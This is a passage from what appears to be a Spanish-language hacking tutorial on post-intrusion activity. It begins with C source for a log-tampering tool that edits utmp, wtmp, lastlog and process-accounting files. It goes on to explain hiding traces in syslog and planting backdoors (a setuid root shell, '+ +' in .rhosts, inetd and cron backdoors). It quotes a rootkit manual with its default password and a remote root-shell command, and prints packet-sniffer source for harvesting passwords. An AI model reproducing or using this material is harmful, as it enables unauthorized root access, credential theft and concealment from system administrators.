			ac->ac_gid=pw->pw_gid;
	} else ac->ac_gid=t;
	if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
	else ac->ac_tty=tu;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (sscanf(tmp, "%x", &tu)!=1)
		fprintf(stderr, "warning: invalid flags %s\n", op);
	else ac->ac_flag=tu;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
		fprintf(stderr, "warning: illegal time: %s\n", op);
	return 1;
}
#endif

bool wcopy(uline)
int uline;
{
	if (!seek_ifh(uline)) return 0;
	while (fread(mode_data, mode_size, 1, ifh)>0)
	{
		display();
#ifdef PACCT
		if (f_Security && f_Auto && mode=='A')
		{
			struct acct *p;
			p=(struct acct *)mode_data;
			if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
			{
				ac_saved.ac_btime=p->ac_btime;
				*p=ac_saved;
			}
		}
#endif
		if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
	}
#ifndef NO_FTRUNCATE
	if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
#endif
	return 1;
}

bool domod(p)
char *p;
{
bool ret=0;
	if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
	switch(mode)
```

```
	{
#ifdef UTMP
	case 'W':
		ret=mod_utmp(mode_data, p);
		break;
#endif
#ifdef LASTLOG
	case 'L':
		ret=mod_lastlog(mode_data, p);
		break;
#endif
#ifdef PACCT
	case 'A':
		ret=mod_pacct(mode_data, p);
		break;
#endif
	}
	if (!ret)
		fprintf(stderr, "warning: invalid dump input `%s'\n", p);
	return 1;
}

static wu_line=0;

int obj_update(uline, p, f_mod)
int uline;
char *p;
char f_mod;
{
	if (f_Squeeze)
	{
		display();
		seek_ifh(uline);
		if (f_mod) {if (!domod(p)) return 0;}
		else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
		if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
	} else {
		if (f_EditSrc)
		{
			if (f_mod)
				fseek(ofh, mode_size*(uline-1), SEEK_SET);
		} else {
			while(++wu_line<uline)
			{
				display();
				if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
				if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
			}
		}
		if (f_mod)
		{
			seek_ifh(uline);
			if (!domod(p)) return 0;
			if (f_mod==2) wu_line--;
		} else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
		if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
		display();
	}
#ifdef PACCT
	if (f_Security && f_Auto && !f_mod && mode=='A')
		if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
#endif
	return 1;
}

FVOID makeobject()
```

```
  {
int uline=1;
char line[1024];
char *p;
char f_mod;
        if ((ifh=fopen(a_Input, "r"))==NULL)
        {
                perror(a_Input);
                exit(1);
        }
        if ((afh=fopen(a_Dump, "r"))==NULL)
        {
                perror(a_Dump);
                exit(1);
        }
        if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
        {
                perror(a_Output);
                exit(1);
        }
#ifdef PACCT
        if (f_Security && f_Auto && mode=='A')
                acct_step=(getpid()+8)%60;
#endif
        fputc('\n', stdout);
        globline=0;
        mes="entries assembled: ";
        while (1)
        {
                if (!fgets((p=line), sizeof(line), afh))
                {
                        if (f_EditSrc)
                        {
#ifndef NO_FTRUNCATE
                                if (f_Truncate)
                                {
                                        fflush(ofh);
                                        ftruncate(fileno(ofh), uline*mode_size);
                                }
#endif
                                goto closeup;
                        }
                        if (!f_Truncate) wcopy(uline+1);
                        goto closeup;
                }
                switch (*p)
                {
                case 0:
                case '#':
                case '\n':
                        continue;
                case '=':
                        f_mod=1;
                        p++;
                        break;
                case '+':
                        if (f_EditSrc)
                        {
                                if (f_Squeeze)
                                        fprintf(stderr, "warning: the + operator can have \
unpredictable effects when used in conbination with -e and -s\n");
                                else
                                {
                                        fprintf(stderr, "error: + operator used with -e\n");
                                        exit(1);
                                }
```

```
                        }
                        f_mod=2;
                        p++;
                        break;
                default: {f_mod=0; break;}
                }
                if (sscanf(p, "%x", &uline)!=1)
                {
                        perror("invalid line number in ascii input");
                        exit(1);
                }
                uline++;
                if (!obj_update(uline, p, f_mod))
                {
                        perror("read/write failed");
                        exit(1);
                }
        }
closeup:
        display_end();
        fclose(ofh);
        fclose(ifh);
        fclose(afh);
}

FVOID usage(s)
char *s;
{
        fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n\
\t\t[-E editor] [-h program]\n", s);
        exit(1);
}

int main(argc, argv)
int argc;
char **argv;
{
        char *ed;
        char c;
#ifdef PACCT
        mode='A';
#endif
#ifdef LASTLOG
        mode='L';
#endif
#ifdef UTMP
        mode='W';
#endif

        puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
        umask(022);
        while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
        switch(c)
        {
                case 'i':
                        a_Input=optarg;
                        break;
                case 'o':
                        a_Output=optarg;
                        break;
                case 'd':
                        a_Dump=optarg;
                        break;
                case 'a':
                        f_Auto=1;
                        break;
```

```
                case 'e':
                        f_EditSrc=1;
                        break;
                case 't':
                        f_Truncate=1;
                        break;
                case 's':
                        f_Squeeze=1;
                        break;
                case 'p':
                        a_Pattern=optarg;
                        break;
                case 'v':
                        f_Exclude=1;
                        a_Pattern=optarg;
                        break;
                case 'm':
                        mode=*optarg;
                        break;
                case 'u':
                        f_Uid=1;
                        break;
                case 'S':
                        f_Security=1;
                        break;
                case 'c':
                        f_Clean=1;
                        break;
                case 'D':
                        f_DeleteSelf=1;
                        break;
                case 'n':
                        f_NoBackups=1;
                        break;
                case 'E':
                        a_Editor=optarg;
                        break;
                case 'h':
                        a_Hide=optarg;
                        break;
                case 'b':
                        a_Backup=optarg;
                        break;
                case '?':
                default:
                        fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
                        usage(argv[0]);
                        /* NOT_REACHED */
        }
        if (a_Output && f_EditSrc)
        {
                perror("can't have -o and -e together");
                exit(1);
        }
        switch(mode)
        {
#ifdef UTMP
        case 'W':
                mode_size=sizeof(struct S_UTMP);
                mode_data=&s_utmp;
                if (!a_Input) a_Input=WTMP_FILE;
                break;
#endif
#ifdef LASTLOG
        case 'L':
                mode_size=sizeof(struct lastlog);
```

```
                mode_data=&s_lastlog;
                if (!a_Input) a_Input=LASTLOG_FILE;
                break;
#endif
#ifdef PACCT
        case 'A':
                mode_size=sizeof(struct acct);
                mode_data=&s_acct;
                if (!a_Input) a_Input=PACCT_FILE;
                break;
#endif
      default:
                fprintf(stderr, "unknown mode `%c'\n", mode);
                usage();
                /*NOT_REACHED*/
        }
        if (a_Pattern) uid=getpwnam(a_Pattern);
        if (uid) {uid_s=*uid; uid=&uid_s;}
        if (f_Auto)
        {
        struct stat st1, st2;
        int pid;
        int ws;
                if (stat(a_Editor, &st1))
                {
                        fprintf(stderr, "error: editor `%s' must exist with -a (check -E value)\n", a_Editor);
                        exit(1);
                }
                makedump();
                if (f_Security)
                {
                        sprintf(ac_comm_hide, "m%d", getpid());
                        symlink(a_Editor, ac_comm_hide);
                        ed=ac_comm_hide;
                } else  ed=a_Editor;

                stat(a_Dump, &st1);
                if (!(pid=fork()))
                {
                        printf("%s %s\n", ed, a_Dump);
                        fflush(stdout);
                        execlp(ed, ed, a_Dump, 0);
                        perror(ed);
                        _exit(1);
                }
                if (pid<0)
                {
                        perror("fork");
                        exit(1);
                }
                while (wait(&ws)!=pid);
                if (f_Security)
                        unlink(ac_comm_hide);
                stat(a_Dump, &st2);
                if (st1.st_mtime==st2.st_mtime)
                {
                        fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
                        exit(1);
                }
                if (!a_Output || !strcmp(a_Input, a_Output))
                {
                        backup(a_Input);
                        f_backedup=1;
                        if (!a_Output) a_Output=a_Input;
                        if (!f_EditSrc)
                                a_Input=a_Backup;
```

```
                }
                makeobject();
                if (f_Clean)
                        unlink(a_Dump);
                if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
        }
        else if (a_Output)
                {
                        if (!strcmp(a_Input, a_Output))
                        {
                                backup(a_Input);
                                f_backedup=1;
                                if (!f_EditSrc)
                                        a_Input=a_Backup;
                        }
                        makeobject();
                        if (f_Clean)
                                unlink(a_Dump);
                        if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
                } else
                        makedump();
        if (f_DeleteSelf) unlink(argv[0]);
        puts("Done.");
        if (f_Security)
        {
                close(0);
                close(1);
                close(2);
                setsid();
                if (a_Hide)
                {
                        execlp(a_Hide, a_Hide, 0);
                        perror(a_Hide);
                }
                if (f_Security)
                        kill(getpid(), SIGKILL);
        }
        exit(0);
}
```

Bien, con estos programitas hemos conseguido borrar los logs mas usuales (utmp, wtmp, lastlog y acct) pero tambien hemos de tener en cuenta otros que pueden aparecer que se comentan a continuacion:

El demonio syslogd que guarda informacion en distintos archivos indicados en el /etc/syslogd.conf aunque puede estar en otras ubicaciones. La ventaja que tiene el log creado por el syslogd sobre los otros es que mientras que tanto el utmp, wtmp, lastlog y acct tienen estructura de datos por lo que no se pueden modificar con un editor de textos normalmente (aunque tampoco ofrece grandes complicaciones), los ficheros producidos por el daemon syslogd si que son editables en modo texto por lo que usando el grep con un poco de gracia deberiamos borrar la mayoria de las huellas, es decir buscar en modo texto mensajes que pueden referir a nuestra conexion, por ejemplo podemos buscar el nombre de la maquina desde la que hemos conectado, nuestro login ,etc.

A continuacion indico como funciona el syslogd.conf. Algunos de los tipos de procesos que pueden general mensajes son los siguientes:

kern --> mensajes relativos al kernel
user --> mensajes relativos a procesos ejecutados por usuarios normales.
mail --> mensajes relativos al sistema de correo.
lpr --> mensajes relativos a impresoras.
auth --> mensajes relativos a programas y procesos de autentificacion (aquellos en los que estan involucrados nombres de usuarios y passwords, por ejemplo login, su, getty, etc)
daemon --> mensajes relativos a otros demonios del sistema.

Mientras que pueden generar mensajes de los siguientes tipos:

emerg --> emergencias graves.
alert --> problemas que deben ser solucionados con urgencia.
crit --> errores criticos.
err --> errores ordinarios.
warning --> avisos.
notice --> cuando se da una condicion que no constituye un error pero a la que se le debe dar una cierta atencion.
info --> mensajes informativos.

Una desventaja que tiene el syslogd es que puede que envie los logs a otra maquina con lo que seran unas huellas dificiles de borrar. Esto no es nada usual pero lo comento para que sepais lo que os podeis encontrar por ahi afuera :o(.

En muchos sistemas corre el tcp wrapper que ofrece posibilidades extras como ver que maquinas se pueden conectar o no a una maquina donde este el tcp wrapper instalado a los distintos servicios (usando el host.allow y el host.deny) y ademas puede ofrecer la posibilidad de establecer logs adicionales. Para controlar y borrar estos logs debes mirar en el syslog.conf que tambien indica los logs de los tcp wrappers.

Ademas hemos de ver los logs del httpd, ftp, etc. que pueden tener distintas ubicaciones segun los distintos sistemas. Estos pueden estar en los mismos directorios que los tipicos utmp, wtmp, lastlog, acct o por ejemplo los de httpd pueden estar en el directorio donde se ubica el httpd.

Un sistema un poco cutre que puede ayudar es hacer un find / -name *log* con lo que te buscara todos los archivos en la maquina que contengan en su nombre la palabra log con lo que te puede dar pistas de por donde mirar ya que muchos logs tienen la palabra log en su nombre como el log_access, xferlog, etc..

Una forma de comprobar otros ficheros de log existentes en el sistema, es verificar cuales son todos aquellos archivos que se encuentran abiertos en el momento, y por ello, lo que podemos conseguir es una pista de cuales son algunos de los posibles lugares en los que se puede almacenar informacion que comprometa al usuario. Un programa para ello es el LSOF (LiSt Open Files), el cual nos indicar los ficheros que se encuentran abiertos en ese momento.

En fin, este tema es mucho mas complejo, pero creo que extenderse mas se escapa de los objetivos de este texto y ademas la mejor manera de aprender sobre estas kosas es probando, viendo makinas, probando programas, etc.

10.- PRESERVAR EL ACCESO Y PONER SNIFFERS

Bueno, voy a dar cuatro matices sobre este tema. La idea es que tras haber conseguido un root es interesante instalar backdoors (o mejor una rootkit que es un conjunto de backdoors y otras herramientas) para seguir teniendo acceso como root y no tener que repetir el proceso de entrar por una cuenta normal, ejecutar xploit, etc,...ya que esto es un coñazo.

Bueno, simplemente comento que hay backdoors para el telnetd, login, fingerd, y muchisimos mas, aunque lo que no hay que hacer es poner sushis o usar la tipica backdoor en el .rhosts o hosts.equiv ya que esos se notan mucho y nada mas que el root mire un poco su maquina se dara cuenta.

De todos modos, por ser metodos que se han usado mucho y que ademas es posible que algun dia tengas que usarlo si estas ante un sistema operativo raro, voy a explicarlos un poco.

Poner una sushi (set uid shell) consiste en que cuando seas root, hacer una copia de la shell, cambiarle el nombre y ponerle como owner al root y luego darle permisos 4755.

Es decir... haces:

Cp /bin/sh /directoriopublico
Mv sh /directoriopublico
Cd directoriopublico
Mv sh cualquiera
chown root cualquiera

chmod 4755 cualquiera

La gracia de esto es que el 4 indica que cualquiera que ejecute ese fichero tendra privilegios del owner de ese fichero. Asi, como el owner es el root y el fichero es una shell, obtendremos una shell de root con lo que cuando entremos a esta maquina como un usuario normal, simplemente iremos al directoriopublico, ejecutamos ./cualquiera y tendremos una shell de root.

En este momento es importante señalar las diferencias entre UID (User Identification) y EUID (Efective User Identification), es decir, cuando ejecuteis la sushi tendreis como UID la que tuvieseis del usuario con el que habeis entrado pero tendreis como EUID=0, es decir que teneis privilegios de root para hacerlo todo pero sin embargo si por ejemplo haceis un who aparecera el UID de la cuenta con la que habeis entrado y no aparecereis como root... tened cuidado con este tema que a veces puede ocasionar lios con los permisos y owners de los ficheros.

Vale, hasta ahora todo muy bonito pero la desventaja de esto es que te la pueden localizar facilmente haciendo un find –perm 4000 ..... ya que con este comando busca ficheros que tengan estas caracteristicas del bit de setuid activado con lo que el root te puede pillar facilmente por lo que claramente es desaconsejable.

Otro metodo, aun pero es poner un + + en el .rhosts del root. Esto quiere decir que cualquiera que haga un rlogin al root desde cualquier maquina sera root sin necesidad de password.. es decir con rlogin –l root maquinavictima.com. Obviamente la desventaja de esto es que el root cuando vea un + + en su .rhosts te pillara y esto es de lo que mas canta por lo que tambien es claramente desaconsejable.

Ademas de esto hay programas que substituyen el fingerd, telnetd, login, etc para que cuando tu les des unos datos determinados te dejen entrar como root remotamente. Esta es una buena solucion aunque en algunos casos la longitud del fichero difiere mucho del real al troyano .. pero hay algun metodo mas que ya se comentara en otros textos para que no te pillen por este motivo. Estos troyanos estan en muchos de los lugares de la red asi ke dando un par de vueltas los encontrareis.. igualmente, es posible que esten en la misma maquina de donde os bajeis este texto. Obviamente no son adjuntados por no hacer esto mas grande, que ya se esta haciendo demasiado largo el textito de marras.. jeje

Ademas de meter troyanos, tambien hay backdoors usando el inetd, cron y demas.... su funcionamiento es bastante obvio... el inetd define los demonios que se arrancan asociados con cada puerto por lo ke puedes poner asociado a un puerto raro una shell de root... respecto al cron.. es un programa que te permite definir tareas que se repitan periodicamente... puedes hacer ke todos los dias a una hora dada se modifique el archivo /etc/passwd, o que ejecute un socket daemon o mil kosas mas... estas dos backdoors ofrecen muchas posibilidades.. la putada en contra de los troyanos es que nada mas que el root vea el inetd.conf (en el caso del inetd) o el directorio cron se pueden dar cuenta facilmente.

Lo que es bastante interesante es instalar una rootkit (el problema es que no estan hechas para muchos sistemas con lo que si te encuentras un sistema operativo para los que no las tienes te lo tienes que currar un poco mas :o(.. este paquete de programas te permiten desde ocultar procesos, ocultar directorios, borrar huellas, dejar mil backdoors, que te oculte en el netstat, que en el ifconfig no aparezca el famoso promiscuos si pones un sniffer, etc. es decir que dejas la maquina hecha un agujero. Obviamente, se puede definir que directorios quieres que te oculte, que backdoors quieres que te ponga, etc.
No la adjunto en este texto ya que es bastante grande pero no es dificil obtenerlas en la red. Adjunto aqui unos de los programas que modifica una rootkit cualquiera que he pillado.. en este caso es una de linux (hay versiones posteriores del año 97 de esta rootkit):

chfn	Trojaned! User->r00t
chsh	Trojaned! User->r00t
inetd	Trojaned! Remote access
login	Trojaned! Remote access
ls	Trojaned! Hide files
du	Trojaned! Hide files
ifconfig	Trojaned! Hide sniffing
netstat	Trojaned! Hide connections
passwd	Trojaned! User->r00t
ps	Trojaned! Hide processes
top	Trojaned! Hide processes
rshd	Trojaned! Remote access
syslogd	Trojaned! Hide logs
linsniffer	A kewl sniffz0r!
sniffit	Another kewl sniffer!

fix	File fixer!
z2	Zap2 utmp/wtmp/lastlog eraser!
wted	wtmp/utmp editor!
lled	lastlog editor!
bindshell	port/shell type daemon!

Y a continuacion su uso de manera breve:

OK I will go thru how to use each program one by one. NOTE when I say passwordI mean the rootkit password not your users password (doh!). By default therootkit password is lrkr0x.

chfn - Local user->root. Run chfn then when it asks you for a new name enter your password.

chsh - Local user->root. Run chsh when it asks you for a new shell enter your password.

inetd - Binds a shell to a port for remote access. hehe look at the source if u want this one =)

login - Allows login to any account with the rootkit password.
If root login is refused on your terminal login as "rewt".
History logging is disabled if you login using your password.

ls - Trojaned to hide specified files and dirs.
Default data file is /dev/ptyr.
All files can be listed with 'ls -/'.
The format of /dev/ptyr is:
ptyr
hack.dir
w4r3z
ie. just the filenames. This would hide any files/dirs with the names ptyr, hack.dir and w4r3z.

du - Same as ls, 'cept for du instead :)

ifconfig - Modified to remove PROMISC flag when sniffing.

netstat - Modified to remove tcp/udp/sockets from or to specified addresses, uids and ports.
default data file: /dev/ptyq
command 0: hide uid
command 1: hide local address
command 2: hide remote address
command 3: hide local port
command 4: hide remote port
command 5: hide UNIX socket path

example:
0 500 <- Hides all connections by uid 500
1 128.31 <- Hides all local connections from 128.31.X.X
2 128.31.39.20 <- Hides all remote connections to 128.31.39.20
3 8000 <- Hides all local connections from port 8000
4 6667 <- Hides all remote connections to port 6667
5 .term/socket <- Hides all UNIX sockets including the path .term/socket

Yeah eyem lazy. This is ira's description. Why bother thinking up werds when someones already done it?

passwd - Local user->root. Enter your rootkit password instead of your old password.

ps - Modified to remove specified processes.

```
                Default data file is /dev/ptyp.
            An example data file is as follows:
        0 0         Strips all processes running under root
        1 p0        Strips tty p0
        2 sniffer   Strips all programs with the name sniffer
            Don't put in the comments, obviously.

top -       Identical to ps, 'cept for top instead.

rshd -      Execute remote commands as root.
            Usage: rsh -l rootkitpassword host command
            ie. rsh -l lrkr0x cert.org /bin/sh -i
              would start a root shell.

syslogd -   Modified to remove specified strings from logging.
            I thought of this one when I was on a system which logged
            every connection.. I kept getting pissed off with editing
            files every time I connected to remove my hostname. Then I
            thought 'Hey dude, why not trojan syslogd?!' and the rest
            is history. :)
            Default data file is /dev/ptys
            Example data file:
            evil.com
            123.100.101.202
            rshd
            This would remove all logs containing the strings evil.com,
            123.100.101.202 and rshd. Smart! :))

sniffit -   An advanced network sniffer. This is pretty kewl and has lots
            of filtering options and other stuff. Useful for targetting a
            single host or net. Sniffit uses ncurses.

linsniffer - A kewl sniffer. This is smaller than sniffit and doesn't need
            the ncurses libraries.
            As CERT say, sniffing is responsible for more mass network
            breakins than anything else in the 90's. P'raps they ain't
            heard of Sendmail before hahahaha

fix -       Replaces and fixes timestamp/checksum infomation on files.
            I modified this a bit for my own uses and to fix a nasty bug
            when replacing syslogd and inetd. The replacement file will
            be erased by fix (unlike other versions).

z2 -        Zapper2! Run this to erase the last utmp/wtmp/lastlog entries
            for a username. This can be detected since it just nulls the
            entry out but no sysadmins know this, right?

wted -      This does lots of stuff. U can view ALL the entries in a wtmp
            or utmp type file, erase entries by username or hostname,
            view zapped users (admins use a util similar to this to find
            erased entries), erase zapped users etc.

lled -      Basically the same as wted but for lastlog entries.
```

Creo que con esto queda suficientemente claro no? jeje

Como se puede ver, esta rootkit tiene de todo, unos cuantos troyanos, sniffer, borrador de huellas, inetd y login modificados para permitir acceso remoto, editores de wtmp y utmp, etc... en fin, como podeis ver si pillas root en una maquina e instalas una rootkit.. la maquina es tuya asi que no doy ideas.. jejejejejeje. Por cierto a fecha de hoy no encuentro rootkits para irix, aix, hp y demas por lo que si alguien tiene agradeceria que me lo comunicasen (yo solo tengo de sun y de linux... y una para bsd pero que no rula muy bien :o(y currarse una es una kurrada :(

Ademas de lo que acabo de comentar, una vez tienes la maquina controlada, lo que has de hacer es poner un sniffer para conseguir mas cuentas (que a veces tambien viene incluida en la rootkit) que se comenta a continuacion.

Nota previa:
La manera mas usual de conectar maquinas es usando Ethernel. El protocolo de Ethernet trabaja enviando la informacion en paquetes a las maquinas de la red. La cabecera del paquete contiene la direccion IP de la maquina destino. Solo la maquina que tiene este IP va a recibir este paquete en teoria, pero una maquina se puede poner en modo promiscuo de manera que reciba todos los paquetes que van por la red independientemente de lo que ponga en la cabecera como IP de destino.

Asi, basicamente un sniffer lo que hace es poner a la maquina en modo promiscuo, es decir, que la maquina acepta todos los paquetes que van por la red y no solo los que van destinados a ella.

La gracia de esto es que en una red normal (sin usar metodos de encriptacion de passwords como el Kerberos) por la red rulan los paquetes con el login y passwd de otras maquinas con lo que conseguireis cuentas en otras maquinas sin hacer nada.. esta bien no?.

El problema es que se puede detectar facilmente si en una maquina hay un sniffer corriendo simplemente haciendo ifconfig –a (en general, aunque varia un poco para algunos sistemas) porque aparece un mensaje de que la maquina esta en promiscous mode... por lo que tendras que poner un troyano para el ifconfig porque si no, el root se percatara y se mosqueara. Recuerdo que en las rootkits vienen incluidos troyanos para el ifconfig.

Hay muchisimos sniffers, estos programas permiten muchas opciones como que te permiten sniffear algunos puertos o todos, buscar palabras en los paquetes, etc y los hay desde algunos muy cutres hasta otros comerciales. Algunos nombres son tcpdump, sniffit, esniff, websniff, linsniffer, solsniff, sunsniff, etc.. como veis hay muchos y para distintos sistemas operativos. He cogido de la phrack esta lista de sniffers para distintos sistemas operativos que supongo que sera de interes:

OS	Sniffer
4.3/4.4 BSD	tcpdump /* Available via anonymous ftp */
FreeBSD	tcpdump /* Available via anonymous ftp at */
	/* gatekeeper.dec.com
	/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD	tcpdump /* Available via anonymous ftp at */
	/* gatekeeper.dec.com
	/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix	tcpdump /* Available via anonymous ftp */
DEC Ultrix	tcpdump /* Available via anonymous ftp */
HP/UX	nettl (monitor) & netfmt (display)
	nfswatch /* Available via anonymous ftp*/
Irix	nfswatch /* Available via anonymous ftp*/
	Etherman
	Tcpdump /* Available via anonymous ftp */
SunOS	etherfind
	Nfswatch /* Available via anonymous ftp*/
	tcpdump /* Available via anonymous ftp */
Solaris	snoop
	tcpdump
DOS	ETHLOAD /* Available via anonymous ftp as*/
	/* ethld104.zip*/
	The Gobbler /* Available via anonymous ftp*/
	LanPatrol
	LanWatch
	Netmon
	Netwatch
	Netzhack /* Available via anonymous ftp at*/
	/* mistress.informatik.unibw-muenchen.de*/
	/* /pub/netzhack.mac*/
Macintosh	Etherpeek

Como veis el TCPDUMP es bastante interesante pero no lo adjunto en el texto por ser bastante grande. Este es un problema de este programa, que es un monitor de red muy potente pero tambien canta mucho si lo metes en una makina porke tiene muchos archivos y canta bastante al hacer un ps-axw por lo que es mejor evitar usarlo y si estas en una linux o sun, usar sniffers pequeñitos ke hay para esos sistemas operativos.

Aqui adjunto el codigo de un par de sniffers para que veais la forma que tienen aunque obviamente recuerdo que os hacen falta las librerias para que rulen:

```
/* ipl.c 1/3/95    by loq */
/* monitors ip packets for Linux */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>

#define BUFLEN 8192
#define ETHLINKHDR 14


print_data(int count, char *buff)
{
        int i,j,c;
        int printnext=1;
        if(count)
        {
        if(count%16)
                c=count+(16-count%16);
        else c=count;
        }
                else
                c=count;
        for(i=0;i<c;i++)
        {
                if(printnext) { printnext--; printf("%.4x ",i&0xffff); }
                if(i<count)
                printf("%3.2x",buff[i]&0xff);
                else
                printf("   ");
                if(!((i+1)%8))
                        if((i+1)%16)
                                printf(" -");
                        else
                                {
                                printf("   ");
                                for(j=i-15;j<=i;j++)
                                  if(j<count) {
                                        if( (buff[j]&0xff) >= 0x20 &&
                                           (buff[j]&0xff)<=0x7e)
                                             printf("%c",buff[j]&0xff);
                                        else printf(".");
                                        } else printf(" ");
                                printf("\n"); printnext=1;
                                }
        }
}

int
initdevice(device, pflag)
```

```
        char *device;
        int pflag;
{
#define PROTO htons(0x0800)   /* Ethernet code for IP protocol */

        int if_fd=0;
        struct ifreq ifr;

        if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {
                perror("Can't get socket");
                exit(2);
        }

        strcpy(ifr.ifr_name, device);       /* interface we're gonna use */
        if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) {    /* get flags */
                close(if_fd);
                perror("Can't get flags");
                exit(2);
        }
#if 1
        if ( pflag )
                ifr.ifr_flags |= IFF_PROMISC;         /* set promiscuous mode */
        else
                ifr.ifr_flags &= ~(IFF_PROMISC);
#endif

        if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) {    /* set flags */
                close(if_fd);
                perror("Can't set flags");
                exit(2);
        }
        return if_fd;
}

struct etherpacket {
        struct ethhdr           eth;
        struct iphdr            ip;
        struct tcphdr           tcp;
        char                    data[8192];
        };

main()
{
        int linktype;
        int if_eth_fd=initdevice("eth0",1);
#if 0
        int if_ppp_fd=initdevice("sl0",1);
#endif
        struct etherpacket ep;
        struct sockaddr dest;
        struct iphdr *ip;
        struct tcphdr *tcp;
        struct timeval timeout;
        fd_set rd,wr;
        int dlen;
#if 0
        struct slcompress *slc=slhc_init(64,64);
#endif

        for(;;)
        {
                bzero(&dest,sizeof(dest));
                dlen=0;
                FD_ZERO(&rd);
                FD_ZERO(&wr);
                FD_SET(if_eth_fd,&rd);
```

```
    #if 0
                FD_SET(if_ppp_fd,&rd);
#endif
                timeout.tv_sec=0;
                timeout.tv_usec=0;
                ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
                tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
                while(timeout.tv_sec==0 && timeout.tv_usec==0)
                {
                timeout.tv_sec=10;
                timeout.tv_usec=0;
                select(20,&rd,&wr,NULL,&timeout);
                if(FD_ISSET(if_eth_fd,&rd))
                        {
                        printf("eth\n");
                        recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
                        }
#if 0
                else
                        if(FD_ISSET(if_ppp_fd,&rd))
                        {
                        recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
                        printf("ppp\n");
                        }
#endif
                }

                printf("proto: %.4x",ntohs(ep.eth.h_proto));
#if 0
                if(ep.eth.h_proto==ntohs(8053))
                {
                        slhc_uncompress(slc,&ep,sizeof(ep));
                }
#endif

                if(ep.eth.h_proto==ntohs(ETH_P_IP))
                {
                printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
                        ep.eth.h_source[0],ep.eth.h_source[1],
                        ep.eth.h_source[2],ep.eth.h_source[3],
                        ep.eth.h_source[4],ep.eth.h_source[5]);
                printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",
                        ep.eth.h_dest[0],ep.eth.h_dest[1],
                        ep.eth.h_dest[2],ep.eth.h_dest[3],
                        ep.eth.h_dest[4],ep.eth.h_dest[5]);
                printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
                printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
                print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
                        ep.data-2);
                }
        }
}
```

Tambien pongo un sniffer generico para ethernet que aparecio en la PHRACK que esta diseñado para trabajar en SunOs, es muy pequeño y solo captura los primeros 300 bytes de todas las sesiones de telnet, ftp o rlogin:

```
/* [JOIN THE POSSE!] */

/* Esniff.c */
```

```
#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
       *ProgName,
       *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)
```

```
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

